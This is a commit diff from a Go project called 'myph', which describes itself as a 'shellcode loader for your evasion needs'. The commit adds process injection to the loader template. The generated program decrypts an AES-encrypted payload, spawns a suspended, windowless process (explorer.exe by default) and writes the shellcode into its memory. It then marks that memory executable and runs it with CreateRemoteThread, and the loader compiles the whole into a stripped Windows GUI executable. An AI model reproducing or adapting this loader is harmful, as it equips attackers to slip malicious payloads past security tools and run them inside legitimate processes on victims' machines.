myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 78e5c962c5fdfb521b686989e5942eb937371ad9
parent 421598e40f1c505bd41707ae94ff92baa90d5d99
Author: winds0r <[email protected]>
Date: Thu, 9 Feb 2023 01:43:11 +0900

feat(loader): implementing CRT method (CreateRemoteThread)

Diffstat:
Mcli/defaults.go | 1+
Mcli/parser.go | 24+++++-------------------
Mcli/types.go | 3+++
Mgo.mod | 7+++++--
Mgo.sum | 4++--
Aloader/compile.go | 26++++++++++++++++++++++++++
Mloader/types.go | 3+++
Mloader/windows.go | 111+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--------------

8 files changed, 137 insertions(+), 42 deletions(-)

diff --git a/cli/defaults.go b/cli/defaults.go
@@ -12,6 +12,7 @@ func GetDefaultCLIOptions() Options {
         Outfile: "myph-out.exe",
         OS: "windows",
         arch: "amd64",
+        Target: "explorer.exe",
     }
 
     return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -3,10 +3,7 @@ package cli
 import (
 	"fmt"
 	"os"
-	"os/exec"
-
 	"github.com/spf13/cobra"
-
 	"github.com/cmepw/myph/loader"
 )
 
@@ -36,10 +33,13 @@ func GetParser(opts *Options) *cobra.Command {
                 os.Exit(1)
             }
 
+            os.Setenv("GOOS", opts.OS)
+            os.Setenv("GOARCH", opts.arch)
             s := loader.Shellcode{
                 Payload: payload,
                 Filename: opts.Outfile,
                 AesKey: []byte(opts.AesKey),
+                Target: opts.Target,
             }
 
             fmt.Println("[+] Encrypted shellcode with AES key")
@@ -52,22 +52,7 @@ func GetParser(opts *Options) *cobra.Command {
             fmt.Println("[+] loaded Windows template")
 
             /* run compilation */
-            os.Setenv("GOOS", opts.OS)
-            os.Setenv("GOARCH", opts.arch)
-            err = exec.Command(
-                "go",
-                "build",
-                "-ldflags",
-                "-s -w -H=windowsgui",
-                "-o",
-                s.Filename,
-                "tmp.go",
-            ).Run(); if err != nil {
-                println("[!] Compile error: " + err.Error())
-                return
-            }
-            fmt.Println("[+] Successfully compiled shellcode")
-            os.Remove("tmp.go")
+            loader.Compile(s)
         },
     }
 
@@ -78,6 +63,7 @@ func GetParser(opts *Options) *cobra.Command {
     cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
     cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
     cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
+    cmd.PersistentFlags().StringVarP(&opts.Target, "target-process", "t", defaults.Target, "target for process injection")
 
     return cmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -16,4 +16,7 @@ type Options struct {
 
     // arch compilation target
     arch string
+
+    // target process name to inject
+    Target string
 }
diff --git a/go.mod b/go.mod
@@ -3,8 +3,11 @@ module github.com/cmepw/myph
 go 1.19
 
 require (
+	github.com/spf13/cobra v1.6.1
+	golang.org/x/sys v0.4.0
+)
+
+require (
 	github.com/inconshreveable/mousetrap v1.0.1 // indirect
-	github.com/spf13/cobra v1.6.1 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
-	golang.org/x/tools v0.5.0 // indirect
 )
diff --git a/go.sum b/go.sum
@@ -6,7 +6,7 @@ github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
 github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
 github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
 github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
-golang.org/x/tools v0.5.0 h1:+bSpV5HIeWkuvgaMfI3UmKRThoTA5ODJTUd8T17NO+4=
-golang.org/x/tools v0.5.0/go.mod h1:N+Kgy78s5I24c24dU8OfWNEotWjutIs8SnJvn5IDq+k=
+golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18=
+golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loader/compile.go b/loader/compile.go
@@ -0,0 +1,26 @@
+package loader
+
+import (
+    "os"
+    "fmt"
+    "os/exec"
+)
+
+func Compile(sc Shellcode) {
+    err := exec.Command(
+        "go",
+        "build",
+        "-ldflags",
+        "-s -w -H=windowsgui",
+        "-o",
+        sc.Filename,
+        "tmp.go",
+    ).Run(); if err != nil {
+        println("[!] Compile error: " + err.Error())
+        os.Exit(1)
+    }
+    fmt.Println("[+] Successfully compiled shellcode")
+    os.Remove("tmp.go")
+
+
+}
diff --git a/loader/types.go b/loader/types.go
@@ -10,4 +10,7 @@ type Shellcode struct {
 
     // AES key used for encryption & decrpytion
     AesKey []byte
+
+    // target process name to inject
+    Target string
 }
diff --git a/loader/windows.go b/loader/windows.go
@@ -8,6 +8,7 @@ func LoadWindowsTemplate(s Shellcode) string {
 
     hexShellcode := ToString(s.Payload)
     hexKey := ToString(s.AesKey)
+    hexTarget := ToString([]byte(s.Target))
 
     return fmt.Sprintf(`
 package main
@@ -27,28 +28,34 @@ import (
 const (
     MEM_COMMIT                = 0x1000
     MEM_RESERVE               = 0x2000
+    PAGE_READWRITE            = 0x4
+    PAGE_EXECUTE_READ         = 0x20
     PAGE_EXECUTE_READWRITE    = 0x40
     PROCESS_CREATE_THREAD     = 0x0002
     PROCESS_QUERY_INFORMATION = 0x0400
     PROCESS_VM_OPERATION      = 0x0008
     PROCESS_VM_WRITE          = 0x0020
     PROCESS_VM_READ           = 0x0010
+    CREATE_SUSPENDED          = 0x4
+    CREATE_NO_WINDOW          = 0x8000000
 )
 
 var (
     kernel32            = syscall.MustLoadDLL("kernel32.dll")
     ntdll               = syscall.MustLoadDLL("ntdll.dll")
+
+    RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
+
     VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
     VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
+    VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
     WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
-    RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
-    CreateThread        = kernel32.MustFindProc("CreateThread")
     OpenProcess         = kernel32.MustFindProc("OpenProcess")
-    WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
-    procVirtualProtect  = kernel32.MustFindProc("VirtualProtect")
     CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
+    closeHandle         = kernel32.MustFindProc("CloseHandle")
 )
 
+
 func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
     c, err := aes.NewCipher(key)
     if err != nil {
@@ -86,8 +93,38 @@ func StringBytesParseString(byteString string) (string, error) {
     return string(res), nil
 }
 
+func loadProcess(target string) *syscall.ProcessInformation {
+    var si syscall.StartupInfo
+	var pi syscall.ProcessInformation
+
+	commandLine, err := syscall.UTF16PtrFromString(target)
+
+	if err != nil {
+		panic(err)
+	}
+
+    err = syscall.CreateProcess(
+		nil,
+		commandLine,
+		nil,
+		nil,
+		false,
+		CREATE_SUSPENDED | CREATE_NO_WINDOW,
+		nil,
+		nil,
+		&si,
+		&pi)
+
+	if err != nil {
+		panic(err)
+	}
+
+	return &pi
+}
+
 func main() {
-    /* decrypt shellcode using AES */
+
+    /* decode values from encoded bytes */
     key, err := StringBytesParseString("%s"); if err != nil {
         os.Exit(1)
     }
@@ -96,30 +133,66 @@ func main() {
         os.Exit(1)
     }
 
-    payload, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
+    target, err := StringBytesParseString("%s"); if err != nil {
+        os.Exit(1)
+    }
+
+    /* decrypt shellcode using AES */
+    shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
         os.Exit(1)
     }
-    addr, _, err := VirtualAlloc.Call(
+
+    /* spawn target process */
+    process := loadProcess(target)
+    oldProtectCfg := PAGE_READWRITE
+
+     /* allocating the appropriate amount of memory */
+    baseAddr, _, err := VirtualAllocEx.Call(
+        uintptr(process.Process),
         0,
-        uintptr(len(payload)),
-        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+        uintptr(len(shellcode)),
+        MEM_COMMIT | MEM_RESERVE,
+        PAGE_READWRITE,
     )
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
+    }
 
-    if err != nil && err.Error() != "The operation completed successfully." {
-        os.Exit(0)
+    /* overwriting process memory with our shellcode */
+    _, _, err = WriteProcessMemory.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+        0,
+    )
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
     }
 
-    _, _, err = RtlCopyMemory.Call(
-        addr,
-        (uintptr)(unsafe.Pointer(&payload[0])),
-        uintptr(len(payload)),
+    /* changing permissions for our memory segment */
+    _, _, err = VirtualProtectEx.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(len(shellcode)),
+        PAGE_EXECUTE_READ,
+        uintptr(unsafe.Pointer(&oldProtectCfg)),
     )
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
+    }
 
-    if err != nil && err.Error() != "The operation completed successfully." {
-        os.Exit(0)
+    /* load remote thread */
+    _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
     }
 
-    syscall.Syscall(addr, 0, 0, 0, 0)
+    /* close process handler */
+    _, _, err = closeHandle.Call(uintptr(process.Process))
+    if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
+    }
 }
-`, hexKey, hexShellcode)
+`, hexKey, hexShellcode, hexTarget)
 }